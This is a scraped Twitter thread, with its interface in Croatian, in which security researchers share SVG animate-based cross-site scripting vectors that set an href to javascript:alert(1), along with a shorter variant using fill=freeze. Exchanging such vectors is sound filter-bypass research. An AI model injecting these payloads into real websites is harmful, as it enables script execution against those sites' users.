Might be useful: <svg><a xmlns:xlink=http://www.w3.org/1999/xlink ><circle r=1000 /><animate attributeName=xlink:href from=	javascript:alert(1) to=x>
SVG animate XSS vector by @garethheyeshttps://portswigger.net/research/svg-animate-xss-vector …
-
-
-
Yeah I think that’s known and maybe on the cheat sheet but thanks
Kraj razgovora
Novi razgovor -
-
-
ooo interesting
Hvala. Twitter će to iskoristiti za poboljšanje vaše vremenske crte. PoništiPoništi
-
-
-
Nice one! Btw, when 'keytimes' is set; you can get rid off 'dur' and 'repeatCount'. Or instead of 'keytimes' you can use fill=freeze with short duration value: <animate xlink:href=
#xss attributeName=href dur="0.01s" fill="freeze" values="http://a?x=;javascript:alert(1)" />Hvala. Twitter će to iskoristiti za poboljšanje vaše vremenske crte. PoništiPoništi
-
Čini se da učitavanje traje već neko vrijeme.
Twitter je možda preopterećen ili ima kratkotrajnih poteškoća u radu. Pokušajte ponovno ili potražite dodatne informacije u odjeljku Status Twittera.